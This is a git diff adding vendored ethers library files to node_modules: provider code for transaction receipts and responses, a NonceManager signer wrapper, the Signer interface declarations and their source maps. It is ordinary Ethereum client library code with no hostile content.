transactions with a lower ``index``. + * + * This is generally not useful for developers but can be used to + * validate certain aspects of execution. + */ + cumulativeGasUsed; + /** + * The actual gas price used during execution. + * + * Due to the complexity of [[link-eip-1559]] this value can only + * be caluclated after the transaction has been mined, snce the base + * fee is protocol-enforced. + */ + gasPrice; + /** + * The price paid per BLOB in gas. See [[link-eip-4844]]. + */ + blobGasPrice; + /** + * The [[link-eip-2718]] transaction type. + */ + type; + //readonly byzantium!: boolean; + /** + * The status of this transaction, indicating success (i.e. ``1``) or + * a revert (i.e. ``0``). + * + * This is available in post-byzantium blocks, but some backends may + * backfill this value. + */ + status; + /** + * The root hash of this transaction. + * + * This is no present and was only included in pre-byzantium blocks, but + * could be used to validate certain parts of the receipt. + */ + root; + #logs; + /** + * @_ignore: + */ + constructor(tx, provider) { + this.#logs = Object.freeze(tx.logs.map((log) => { + return new Log(log, provider); + })); + let gasPrice = BN_0; + if (tx.effectiveGasPrice != null) { + gasPrice = tx.effectiveGasPrice; + } + else if (tx.gasPrice != null) { + gasPrice = tx.gasPrice; + } + defineProperties(this, { + provider, + to: tx.to, + from: tx.from, + contractAddress: tx.contractAddress, + hash: tx.hash, + index: tx.index, + blockHash: tx.blockHash, + blockNumber: tx.blockNumber, + logsBloom: tx.logsBloom, + gasUsed: tx.gasUsed, + cumulativeGasUsed: tx.cumulativeGasUsed, + blobGasUsed: tx.blobGasUsed, + gasPrice, + blobGasPrice: tx.blobGasPrice, + type: tx.type, + //byzantium: tx.byzantium, + status: tx.status, + root: tx.root + }); + } + /** + * The logs for this transaction. + */ + get logs() { return this.#logs; } + /** + * Returns a JSON-compatible representation. + */ + toJSON() { + const { to, from, contractAddress, hash, index, blockHash, blockNumber, logsBloom, logs, //byzantium, + status, root } = this; + return { + _type: "TransactionReceipt", + blockHash, blockNumber, + //byzantium, + contractAddress, + cumulativeGasUsed: toJson(this.cumulativeGasUsed), + from, + gasPrice: toJson(this.gasPrice), + blobGasUsed: toJson(this.blobGasUsed), + blobGasPrice: toJson(this.blobGasPrice), + gasUsed: toJson(this.gasUsed), + hash, index, logs, logsBloom, root, status, to + }; + } + /** + * @_ignore: + */ + get length() { return this.logs.length; } + [Symbol.iterator]() { + let index = 0; + return { + next: () => { + if (index < this.length) { + return { value: this.logs[index++], done: false }; + } + return { value: undefined, done: true }; + } + }; + } + /** + * The total fee for this transaction, in wei. + */ + get fee() { + return this.gasUsed * this.gasPrice; + } + /** + * Resolves to the block this transaction occurred in. + */ + async getBlock() { + const block = await this.provider.getBlock(this.blockHash); + if (block == null) { + throw new Error("TODO"); + } + return block; + } + /** + * Resolves to the transaction this transaction occurred in. + */ + async getTransaction() { + const tx = await this.provider.getTransaction(this.hash); + if (tx == null) { + throw new Error("TODO"); + } + return tx; + } + /** + * Resolves to the return value of the execution of this transaction. + * + * Support for this feature is limited, as it requires an archive node + * with the ``debug_`` or ``trace_`` API enabled. + */ + async getResult() { + return (await this.provider.getTransactionResult(this.hash)); + } + /** + * Resolves to the number of confirmations this transaction has. + */ + async confirmations() { + return (await this.provider.getBlockNumber()) - this.blockNumber + 1; + } + /** + * @_ignore: + */ + removedEvent() { + return createRemovedTransactionFilter(this); + } + /** + * @_ignore: + */ + reorderedEvent(other) { + assert(!other || other.isMined(), "unmined 'other' transction cannot be orphaned", "UNSUPPORTED_OPERATION", { operation: "reorderedEvent(other)" }); + return createReorderedTransactionFilter(this, other); + } +} +/** + * A **TransactionResponse** includes all properties about a transaction + * that was sent to the network, which may or may not be included in a + * block. + * + * The [[TransactionResponse-isMined]] can be used to check if the + * transaction has been mined as well as type guard that the otherwise + * possibly ``null`` properties are defined. + */ +export class TransactionResponse { + /** + * The provider this is connected to, which will influence how its + * methods will resolve its async inspection methods. + */ + provider; + /** + * The block number of the block that this transaction was included in. + * + * This is ``null`` for pending transactions. + */ + blockNumber; + /** + * The blockHash of the block that this transaction was included in. + * + * This is ``null`` for pending transactions. + */ + blockHash; + /** + * The index within the block that this transaction resides at. + */ + index; + /** + * The transaction hash. + */ + hash; + /** + * The [[link-eip-2718]] transaction envelope type. This is + * ``0`` for legacy transactions types. + */ + type; + /** + * The receiver of this transaction. + * + * If ``null``, then the transaction is an initcode transaction. + * This means the result of executing the [[data]] will be deployed + * as a new contract on chain (assuming it does not revert) and the + * address may be computed using [[getCreateAddress]]. + */ + to; + /** + * The sender of this transaction. It is implicitly computed + * from the transaction pre-image hash (as the digest) and the + * [[signature]] using ecrecover. + */ + from; + /** + * The nonce, which is used to prevent replay attacks and offer + * a method to ensure transactions from a given sender are explicitly + * ordered. + * + * When sending a transaction, this must be equal to the number of + * transactions ever sent by [[from]]. + */ + nonce; + /** + * The maximum units of gas this transaction can consume. If execution + * exceeds this, the entries transaction is reverted and the sender + * is charged for the full amount, despite not state changes being made. + */ + gasLimit; + /** + * The gas price can have various values, depending on the network. + * + * In modern networks, for transactions that are included this is + * the //effective gas price// (the fee per gas that was actually + * charged), while for transactions that have not been included yet + * is the [[maxFeePerGas]]. + * + * For legacy transactions, or transactions on legacy networks, this + * is the fee that will be charged per unit of gas the transaction + * consumes. + */ + gasPrice; + /** + * The maximum priority fee (per unit of gas) to allow a + * validator to charge the sender. This is inclusive of the + * [[maxFeeFeePerGas]]. + */ + maxPriorityFeePerGas; + /** + * The maximum fee (per unit of gas) to allow this transaction + * to charge the sender. + */ + maxFeePerGas; + /** + * The [[link-eip-4844]] max fee per BLOb gas. + */ + maxFeePerBlobGas; + /** + * The data. + */ + data; + /** + * The value, in wei. Use [[formatEther]] to format this value + * as ether. + */ + value; + /** + * The chain ID. + */ + chainId; + /** + * The signature. + */ + signature; + /** + * The [[link-eip-2930]] access list for transaction types that + * support it, otherwise ``null``. + */ + accessList; + /** + * The [[link-eip-4844]] BLOb versioned hashes. + */ + blobVersionedHashes; + /** + * The [[link-eip-7702]] authorizations (if any). + */ + authorizationList; + #startBlock; + /** + * @_ignore: + */ + constructor(tx, provider) { + this.provider = provider; + this.blockNumber = (tx.blockNumber != null) ? tx.blockNumber : null; + this.blockHash = (tx.blockHash != null) ? tx.blockHash : null; + this.hash = tx.hash; + this.index = tx.index; + this.type = tx.type; + this.from = tx.from; + this.to = tx.to || null; + this.gasLimit = tx.gasLimit; + this.nonce = tx.nonce; + this.data = tx.data; + this.value = tx.value; + this.gasPrice = tx.gasPrice; + this.maxPriorityFeePerGas = (tx.maxPriorityFeePerGas != null) ? tx.maxPriorityFeePerGas : null; + this.maxFeePerGas = (tx.maxFeePerGas != null) ? tx.maxFeePerGas : null; + this.maxFeePerBlobGas = (tx.maxFeePerBlobGas != null) ? tx.maxFeePerBlobGas : null; + this.chainId = tx.chainId; + this.signature = tx.signature; + this.accessList = (tx.accessList != null) ? tx.accessList : null; + this.blobVersionedHashes = (tx.blobVersionedHashes != null) ? tx.blobVersionedHashes : null; + this.authorizationList = (tx.authorizationList != null) ? tx.authorizationList : null; + this.#startBlock = -1; + } + /** + * Returns a JSON-compatible representation of this transaction. + */ + toJSON() { + const { blockNumber, blockHash, index, hash, type, to, from, nonce, data, signature, accessList, blobVersionedHashes } = this; + return { + _type: "TransactionResponse", + accessList, blockNumber, blockHash, + blobVersionedHashes, + chainId: toJson(this.chainId), + data, from, + gasLimit: toJson(this.gasLimit), + gasPrice: toJson(this.gasPrice), + hash, + maxFeePerGas: toJson(this.maxFeePerGas), + maxPriorityFeePerGas: toJson(this.maxPriorityFeePerGas), + maxFeePerBlobGas: toJson(this.maxFeePerBlobGas), + nonce, signature, to, index, type, + value: toJson(this.value), + }; + } + /** + * Resolves to the Block that this transaction was included in. + * + * This will return null if the transaction has not been included yet. + */ + async getBlock() { + let blockNumber = this.blockNumber; + if (blockNumber == null) { + const tx = await this.getTransaction(); + if (tx) { + blockNumber = tx.blockNumber; + } + } + if (blockNumber == null) { + return null; + } + const block = this.provider.getBlock(blockNumber); + if (block == null) { + throw new Error("TODO"); + } + return block; + } + /** + * Resolves to this transaction being re-requested from the + * provider. This can be used if you have an unmined transaction + * and wish to get an up-to-date populated instance. + */ + async getTransaction() { + return this.provider.getTransaction(this.hash); + } + /** + * Resolve to the number of confirmations this transaction has. + */ + async confirmations() { + if (this.blockNumber == null) { + const { tx, blockNumber } = await resolveProperties({ + tx: this.getTransaction(), + blockNumber: this.provider.getBlockNumber() + }); + // Not mined yet... + if (tx == null || tx.blockNumber == null) { + return 0; + } + return blockNumber - tx.blockNumber + 1; + } + const blockNumber = await this.provider.getBlockNumber(); + return blockNumber - this.blockNumber + 1; + } + /** + * Resolves once this transaction has been mined and has + * %%confirms%% blocks including it (default: ``1``) with an + * optional %%timeout%%. + * + * This can resolve to ``null`` only if %%confirms%% is ``0`` + * and the transaction has not been mined, otherwise this will + * wait until enough confirmations have completed. + */ + async wait(_confirms, _timeout) { + const confirms = (_confirms == null) ? 1 : _confirms; + const timeout = (_timeout == null) ? 0 : _timeout; + let startBlock = this.#startBlock; + let nextScan = -1; + let stopScanning = (startBlock === -1) ? true : false; + const checkReplacement = async () => { + // Get the current transaction count for this sender + if (stopScanning) { + return null; + } + const { blockNumber, nonce } = await resolveProperties({ + blockNumber: this.provider.getBlockNumber(), + nonce: this.provider.getTransactionCount(this.from) + }); + // No transaction or our nonce has not been mined yet; but we + // can start scanning later when we do start + if (nonce < this.nonce) { + startBlock = blockNumber; + return; + } + // We were mined; no replacement + if (stopScanning) { + return null; + } + const mined = await this.getTransaction(); + if (mined && mined.blockNumber != null) { + return; + } + // We were replaced; start scanning for that transaction + // Starting to scan; look back a few extra blocks for safety + if (nextScan === -1) { + nextScan = startBlock - 3; + if (nextScan < this.#startBlock) { + nextScan = this.#startBlock; + } + } + while (nextScan <= blockNumber) { + // Get the next block to scan + if (stopScanning) { + return null; + } + const block = await this.provider.getBlock(nextScan, true); + // This should not happen; but we'll try again shortly + if (block == null) { + return; + } + // We were mined; no replacement + for (const hash of block) { + if (hash === this.hash) { + return; + } + } + // Search for the transaction that replaced us + for (let i = 0; i < block.length; i++) { + const tx = await block.getTransaction(i); + if (tx.from === this.from && tx.nonce === this.nonce) { + // Get the receipt + if (stopScanning) { + return null; + } + const receipt = await this.provider.getTransactionReceipt(tx.hash); + // This should not happen; but we'll try again shortly + if (receipt == null) { + return; + } + // We will retry this on the next block (this case could be optimized) + if ((blockNumber - receipt.blockNumber + 1) < confirms) { + return; + } + // The reason we were replaced + let reason = "replaced"; + if (tx.data === this.data && tx.to === this.to && tx.value === this.value) { + reason = "repriced"; + } + else if (tx.data === "0x" && tx.from === tx.to && tx.value === BN_0) { + reason = "cancelled"; + } + assert(false, "transaction was replaced", "TRANSACTION_REPLACED", { + cancelled: (reason === "replaced" || reason === "cancelled"), + reason, + replacement: tx.replaceableTransaction(startBlock), + hash: tx.hash, + receipt + }); + } + } + nextScan++; + } + return; + }; + const checkReceipt = (receipt) => { + if (receipt == null || receipt.status !== 0) { + return receipt; + } + assert(false, "transaction execution reverted", "CALL_EXCEPTION", { + action: "sendTransaction", + data: null, reason: null, invocation: null, revert: null, + transaction: { + to: receipt.to, + from: receipt.from, + data: "" // @TODO: in v7, split out sendTransaction properties + }, receipt + }); + }; + const receipt = await this.provider.getTransactionReceipt(this.hash); + if (confirms === 0) { + return checkReceipt(receipt); + } + if (receipt) { + if (confirms === 1 || (await receipt.confirmations()) >= confirms) { + return checkReceipt(receipt); + } + } + else { + // Check for a replacement; throws if a replacement was found + await checkReplacement(); + // Allow null only when the confirms is 0 + if (confirms === 0) { + return null; + } + } + const waiter = new Promise((resolve, reject) => { + // List of things to cancel when we have a result (one way or the other) + const cancellers = []; + const cancel = () => { cancellers.forEach((c) => c()); }; + // On cancel, stop scanning for replacements + cancellers.push(() => { stopScanning = true; }); + // Set up any timeout requested + if (timeout > 0) { + const timer = setTimeout(() => { + cancel(); + reject(makeError("wait for transaction timeout", "TIMEOUT")); + }, timeout); + cancellers.push(() => { clearTimeout(timer); }); + } + const txListener = async (receipt) => { + // Done; return it! + if ((await receipt.confirmations()) >= confirms) { + cancel(); + try { + resolve(checkReceipt(receipt)); + } + catch (error) { + reject(error); + } + } + }; + cancellers.push(() => { this.provider.off(this.hash, txListener); }); + this.provider.on(this.hash, txListener); + // We support replacement detection; start checking + if (startBlock >= 0) { + const replaceListener = async () => { + try { + // Check for a replacement; this throws only if one is found + await checkReplacement(); + } + catch (error) { + // We were replaced (with enough confirms); re-throw the error + if (isError(error, "TRANSACTION_REPLACED")) { + cancel(); + reject(error); + return; + } + } + // Rescheudle a check on the next block + if (!stopScanning) { + this.provider.once("block", replaceListener); + } + }; + cancellers.push(() => { this.provider.off("block", replaceListener); }); + this.provider.once("block", replaceListener); + } + }); + return await waiter; + } + /** + * Returns ``true`` if this transaction has been included. + * + * This is effective only as of the time the TransactionResponse + * was instantiated. To get up-to-date information, use + * [[getTransaction]]. + * + * This provides a Type Guard that this transaction will have + * non-null property values for properties that are null for + * unmined transactions. + */ + isMined() { + return (this.blockHash != null); + } + /** + * Returns true if the transaction is a legacy (i.e. ``type == 0``) + * transaction. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isLegacy() { + return (this.type === 0); + } + /** + * Returns true if the transaction is a Berlin (i.e. ``type == 1``) + * transaction. See [[link-eip-2070]]. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isBerlin() { + return (this.type === 1); + } + /** + * Returns true if the transaction is a London (i.e. ``type == 2``) + * transaction. See [[link-eip-1559]]. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isLondon() { + return (this.type === 2); + } + /** + * Returns true if hte transaction is a Cancun (i.e. ``type == 3``) + * transaction. See [[link-eip-4844]]. + */ + isCancun() { + return (this.type === 3); + } + /** + * Returns a filter which can be used to listen for orphan events + * that evict this transaction. + */ + removedEvent() { + assert(this.isMined(), "unmined transaction canot be orphaned", "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }); + return createRemovedTransactionFilter(this); + } + /** + * Returns a filter which can be used to listen for orphan events + * that re-order this event against %%other%%. + */ + reorderedEvent(other) { + assert(this.isMined(), "unmined transaction canot be orphaned", "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }); + assert(!other || other.isMined(), "unmined 'other' transaction canot be orphaned", "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }); + return createReorderedTransactionFilter(this, other); + } + /** + * Returns a new TransactionResponse instance which has the ability to + * detect (and throw an error) if the transaction is replaced, which + * will begin scanning at %%startBlock%%. + * + * This should generally not be used by developers and is intended + * primarily for internal use. Setting an incorrect %%startBlock%% can + * have devastating performance consequences if used incorrectly. + */ + replaceableTransaction(startBlock) { + assertArgument(Number.isInteger(startBlock) && startBlock >= 0, "invalid startBlock", "startBlock", startBlock); + const tx = new TransactionResponse(this, this.provider); + tx.#startBlock = startBlock; + return tx; + } +} +function createOrphanedBlockFilter(block) { + return { orphan: "drop-block", hash: block.hash, number: block.number }; +} +function createReorderedTransactionFilter(tx, other) { + return { orphan: "reorder-transaction", tx, other }; +} +function createRemovedTransactionFilter(tx) { + return { orphan: "drop-transaction", tx }; +} +function createRemovedLogFilter(log) { + return { orphan: "drop-log", log: { + transactionHash: log.transactionHash, + blockHash: log.blockHash, + blockNumber: log.blockNumber, + address: log.address, + data: log.data, + topics: Object.freeze(log.topics.slice()), + index: log.index + } }; +} +//# sourceMappingURL=provider.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider.js.map b/node_modules/ethers/lib.esm/providers/provider.js.map new file mode 100644 index 000000000000..e92287f12d03 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider.js","sourceRoot":"","sources":["../../src.ts/providers/provider.ts"],"names":[],"mappings":"AAAA,0DAA0D;AAC1D,OAAO,EACH,gBAAgB,EAAE,SAAS,EAAE,SAAS,EAAE,OAAO,EAAE,WAAW,EAC5D,iBAAiB,EACjB,MAAM,EAAE,cAAc,EAAE,OAAO,EAAE,SAAS,EAC7C,MAAM,mBAAmB,CAAC;AAC3B,OAAO,EAAE,aAAa,EAAE,MAAM,yBAAyB,CAAC;AAcxD,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AAsBvB,0BAA0B;AAE1B,SAAS,QAAQ,CAAI,KAA2B;IAC5C,IAAI,KAAK,IAAI,IAAI,EAAE;QAAE,OAAO,IAAI,CAAC;KAAE;IACnC,OAAO,KAAK,CAAC;AACjB,CAAC;AAED,SAAS,MAAM,CAAC,KAAoB;IAChC,IAAI,KAAK,IAAI,IAAI,EAAE;QAAE,OAAO,IAAI,CAAC;KAAE;IACnC,OAAO,KAAK,CAAC,QAAQ,EAAE,CAAC;AAC5B,CAAC;AAED,0DAA0D;AAE1D;;;GAGG;AACH,MAAM,OAAO,OAAO;IAChB;;OA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M,CAAC,MAAM,CAAC,GAAG,CAAC,MAAM,CAAC,KAAK,EAAE,CAAC;YACzC,KAAK,EAAE,GAAG,CAAC,KAAK;SACnB,EAAE,CAAC;AACR,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/signer-noncemanager.d.ts b/node_modules/ethers/lib.esm/providers/signer-noncemanager.d.ts new file mode 100644 index 000000000000..4224b6011893 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/signer-noncemanager.d.ts @@ -0,0 +1,38 @@ +import { AbstractSigner } from "./abstract-signer.js"; +import type { TypedDataDomain, TypedDataField } from "../hash/index.js"; +import type { BlockTag, Provider, TransactionRequest, TransactionResponse } from "./provider.js"; +import type { Signer } from "./signer.js"; +/** + * A **NonceManager** wraps another [[Signer]] and automatically manages + * the nonce, ensuring serialized and sequential nonces are used during + * transaction. + */ +export declare class NonceManager extends AbstractSigner { + #private; + /** + * The Signer being managed. + */ + signer: Signer; + /** + * Creates a new **NonceManager** to manage %%signer%%. + */ + constructor(signer: Signer); + getAddress(): Promise; + connect(provider: null | Provider): NonceManager; + getNonce(blockTag?: BlockTag): Promise; + /** + * Manually increment the nonce. This may be useful when managng + * offline transactions. + */ + increment(): void; + /** + * Resets the nonce, causing the **NonceManager** to reload the current + * nonce from the blockchain on the next transaction. + */ + reset(): void; + sendTransaction(tx: TransactionRequest): Promise; + signTransaction(tx: TransactionRequest): Promise; + signMessage(message: string | Uint8Array): Promise; + signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise; +} +//# sourceMappingURL=signer-noncemanager.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/signer-noncemanager.d.ts.map b/node_modules/ethers/lib.esm/providers/signer-noncemanager.d.ts.map new file mode 100644 index 000000000000..7142ec444ab7 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/signer-noncemanager.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"signer-noncemanager.d.ts","sourceRoot":"","sources":["../../src.ts/providers/signer-noncemanager.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,OAAO,KAAK,EAAE,eAAe,EAAE,cAAc,EAAE,MAAM,kBAAkB,CAAC;AAExE,OAAO,KAAK,EACR,QAAQ,EAAE,QAAQ,EAAE,kBAAkB,EAAE,mBAAmB,EAC9D,MAAM,eAAe,CAAC;AACvB,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,aAAa,CAAC;AAG1C;;;;GAIG;AACH,qBAAa,YAAa,SAAQ,cAAc;;IAC5C;;OAEG;IACH,MAAM,EAAG,MAAM,CAAC;IAKhB;;OAEG;gBACS,MAAM,EAAE,MAAM;IAQpB,UAAU,IAAI,OAAO,CAAC,MAAM,CAAC;IAInC,OAAO,CAAC,QAAQ,EAAE,IAAI,GAAG,QAAQ,GAAG,YAAY;IAI1C,QAAQ,CAAC,QAAQ,CAAC,EAAE,QAAQ,GAAG,OAAO,CAAC,MAAM,CAAC;IAapD;;;OAGG;IACH,SAAS,IAAI,IAAI;IAIjB;;;OAGG;IACH,KAAK,IAAI,IAAI;IAKP,eAAe,CAAC,EAAE,EAAE,kBAAkB,GAAG,OAAO,CAAC,mBAAmB,CAAC;IAY3E,eAAe,CAAC,EAAE,EAAE,kBAAkB,GAAG,OAAO,CAAC,MAAM,CAAC;IAIxD,WAAW,CAAC,OAAO,EAAE,MAAM,GAAG,UAAU,GAAG,OAAO,CAAC,MAAM,CAAC;IAI1D,aAAa,CAAC,MAAM,EAAE,eAAe,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,cAAc,CAAC,CAAC,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,OAAO,CAAC,MAAM,CAAC;CAGpI"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/signer-noncemanager.js b/node_modules/ethers/lib.esm/providers/signer-noncemanager.js new file mode 100644 index 000000000000..710e8f4a4499 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/signer-noncemanager.js @@ -0,0 +1,74 @@ +import { defineProperties } from "../utils/index.js"; +import { AbstractSigner } from "./abstract-signer.js"; +/** + * A **NonceManager** wraps another [[Signer]] and automatically manages + * the nonce, ensuring serialized and sequential nonces are used during + * transaction. + */ +export class NonceManager extends AbstractSigner { + /** + * The Signer being managed. + */ + signer; + #noncePromise; + #delta; + /** + * Creates a new **NonceManager** to manage %%signer%%. + */ + constructor(signer) { + super(signer.provider); + defineProperties(this, { signer }); + this.#noncePromise = null; + this.#delta = 0; + } + async getAddress() { + return this.signer.getAddress(); + } + connect(provider) { + return new NonceManager(this.signer.connect(provider)); + } + async getNonce(blockTag) { + if (blockTag === "pending") { + if (this.#noncePromise == null) { + this.#noncePromise = super.getNonce("pending"); + } + const delta = this.#delta; + return (await this.#noncePromise) + delta; + } + return super.getNonce(blockTag); + } + /** + * Manually increment the nonce. This may be useful when managng + * offline transactions. + */ + increment() { + this.#delta++; + } + /** + * Resets the nonce, causing the **NonceManager** to reload the current + * nonce from the blockchain on the next transaction. + */ + reset() { + this.#delta = 0; + this.#noncePromise = null; + } + async sendTransaction(tx) { + const noncePromise = this.getNonce("pending"); + this.increment(); + tx = await this.signer.populateTransaction(tx); + tx.nonce = await noncePromise; + // @TODO: Maybe handle interesting/recoverable errors? + // Like don't increment if the tx was certainly not sent + return await this.signer.sendTransaction(tx); + } + signTransaction(tx) { + return this.signer.signTransaction(tx); + } + signMessage(message) { + return this.signer.signMessage(message); + } + signTypedData(domain, types, value) { + return this.signer.signTypedData(domain, types, value); + } +} +//# sourceMappingURL=signer-noncemanager.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/signer-noncemanager.js.map b/node_modules/ethers/lib.esm/providers/signer-noncemanager.js.map new file mode 100644 index 000000000000..c2d71528096c --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/signer-noncemanager.js.map @@ -0,0 +1 @@ +{"version":3,"file":"signer-noncemanager.js","sourceRoot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AI,CAAC,MAAM,GAAG,CAAC,CAAC;QAChB,IAAI,CAAC,aAAa,GAAG,IAAI,CAAC;IAC9B,CAAC;IAED,KAAK,CAAC,eAAe,CAAC,EAAsB;QACxC,MAAM,YAAY,GAAG,IAAI,CAAC,QAAQ,CAAC,SAAS,CAAC,CAAC;QAC9C,IAAI,CAAC,SAAS,EAAE,CAAC;QAEjB,EAAE,GAAG,MAAM,IAAI,CAAC,MAAM,CAAC,mBAAmB,CAAC,EAAE,CAAC,CAAC;QAC/C,EAAE,CAAC,KAAK,GAAG,MAAM,YAAY,CAAC;QAE9B,sDAAsD;QACtD,wDAAwD;QACxD,OAAO,MAAM,IAAI,CAAC,MAAM,CAAC,eAAe,CAAC,EAAE,CAAC,CAAC;IACjD,CAAC;IAED,eAAe,CAAC,EAAsB;QAClC,OAAO,IAAI,CAAC,MAAM,CAAC,eAAe,CAAC,EAAE,CAAC,CAAC;IAC3C,CAAC;IAED,WAAW,CAAC,OAA4B;QACpC,OAAO,IAAI,CAAC,MAAM,CAAC,WAAW,CAAC,OAAO,CAAC,CAAC;IAC5C,CAAC;IAED,aAAa,CAAC,MAAuB,EAAE,KAA4C,EAAE,KAA0B;QAC3G,OAAO,IAAI,CAAC,MAAM,CAAC,aAAa,CAAC,MAAM,EAAE,KAAK,EAAE,KAAK,CAAC,CAAC;IAC3D,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/signer.d.ts b/node_modules/ethers/lib.esm/providers/signer.d.ts new file mode 100644 index 000000000000..f6d1aa8299b7 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/signer.d.ts @@ -0,0 +1,131 @@ +import type { Addressable, NameResolver } from "../address/index.js"; +import type { AuthorizationRequest, TypedDataDomain, TypedDataField } from "../hash/index.js"; +import type { Authorization, TransactionLike } from "../transaction/index.js"; +import type { ContractRunner } from "./contracts.js"; +import type { BlockTag, Provider, TransactionRequest, TransactionResponse } from "./provider.js"; +/** + * A Signer represents an account on the Ethereum Blockchain, and is most often + * backed by a private key represented by a mnemonic or residing on a Hardware Wallet. + * + * The API remains abstract though, so that it can deal with more advanced exotic + * Signing entities, such as Smart Contract Wallets or Virtual Wallets (where the + * private key may not be known). + */ +export interface Signer extends Addressable, ContractRunner, NameResolver { + /** + * The [[Provider]] attached to this Signer (if any). + */ + provider: null | Provider; + /** + * Returns a new instance of this Signer connected to //provider// or detached + * from any Provider if null. + */ + connect(provider: null | Provider): Signer; + /** + * Get the address of the Signer. + */ + getAddress(): Promise; + /** + * Gets the next nonce required for this Signer to send a transaction. + * + * @param blockTag - The blocktag to base the transaction count on, keep in mind + * many nodes do not honour this value and silently ignore it [default: ``"latest"``] + */ + getNonce(blockTag?: BlockTag): Promise; + /** + * Prepares a {@link TransactionRequest} for calling: + * - resolves ``to`` and ``from`` addresses + * - if ``from`` is specified , check that it matches this Signer + * + * @param tx - The call to prepare + */ + populateCall(tx: TransactionRequest): Promise>; + /** + * Prepares a {@link TransactionRequest} for sending to the network by + * populating any missing properties: + * - resolves ``to`` and ``from`` addresses + * - if ``from`` is specified , check that it matches this Signer + * - populates ``nonce`` via ``signer.getNonce("pending")`` + * - populates ``gasLimit`` via ``signer.estimateGas(tx)`` + * - populates ``chainId`` via ``signer.provider.getNetwork()`` + * - populates ``type`` and relevant fee data for that type (``gasPrice`` + * for legacy transactions, ``maxFeePerGas`` for EIP-1559, etc) + * + * @note Some Signer implementations may skip populating properties that + * are populated downstream; for example JsonRpcSigner defers to the + * node to populate the nonce and fee data. + * + * @param tx - The call to prepare + */ + populateTransaction(tx: TransactionRequest): Promise>; + /** + * Estimates the required gas required to execute //tx// on the Blockchain. This + * will be the expected amount a transaction will require as its ``gasLimit`` + * to successfully run all the necessary computations and store the needed state + * that the transaction intends. + * + * Keep in mind that this is **best efforts**, since the state of the Blockchain + * is in flux, which could affect transaction gas requirements. + * + * @throws UNPREDICTABLE_GAS_LIMIT A transaction that is believed by the node to likely + * fail will throw an error during gas estimation. This could indicate that it + * will actually fail or that the circumstances are simply too complex for the + * node to take into account. In these cases, a manually determined ``gasLimit`` + * will need to be made. + */ + estimateGas(tx: TransactionRequest): Promise; + /** + * Evaluates the //tx// by running it against the current Blockchain state. This + * cannot change state and has no cost in ether, as it is effectively simulating + * execution. + * + * This can be used to have the Blockchain perform computations based on its state + * (e.g. running a Contract's getters) or to simulate the effect of a transaction + * before actually performing an operation. + */ + call(tx: TransactionRequest): Promise; + /** + * Resolves an ENS Name to an address. + */ + resolveName(name: string): Promise; + /** + * Signs %%tx%%, returning the fully signed transaction. This does not + * populate any additional properties within the transaction. + */ + signTransaction(tx: TransactionRequest): Promise; + /** + * Sends %%tx%% to the Network. The ``signer.populateTransaction(tx)`` + * is called first to ensure all necessary properties for the + * transaction to be valid have been popualted first. + */ + sendTransaction(tx: TransactionRequest): Promise; + /** + * Signs an [[link-eip-191]] prefixed personal message. + * + * If the %%message%% is a string, it is signed as UTF-8 encoded bytes. It is **not** + * interpretted as a [[BytesLike]]; so the string ``"0x1234"`` is signed as six + * characters, **not** two bytes. + * + * To sign that example as two bytes, the Uint8Array should be used + * (i.e. ``new Uint8Array([ 0x12, 0x34 ])``). + */ + signMessage(message: string | Uint8Array): Promise; + /** + * Signs the [[link-eip-712]] typed data. + */ + signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise; + /** + * Prepares an [[AuthorizationRequest]] for authorization by + * populating any missing properties: + * - resolves ``address`` (if an Addressable or ENS name) + * - populates ``nonce`` via ``signer.getNonce("pending")`` + * - populates ``chainId`` via ``signer.provider.getNetwork()`` + */ + populateAuthorization(auth: AuthorizationRequest): Promise; + /** + * Signs an %%authorization%% to be used in [[link-eip-7702]] + * transactions. + */ + authorize(authorization: AuthorizationRequest): Promise; +} +//# sourceMappingURL=signer.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/signer.d.ts.map b/node_modules/ethers/lib.esm/providers/signer.d.ts.map new file mode 100644 index 000000000000..41b74e7f864f --- /dev/null +++ 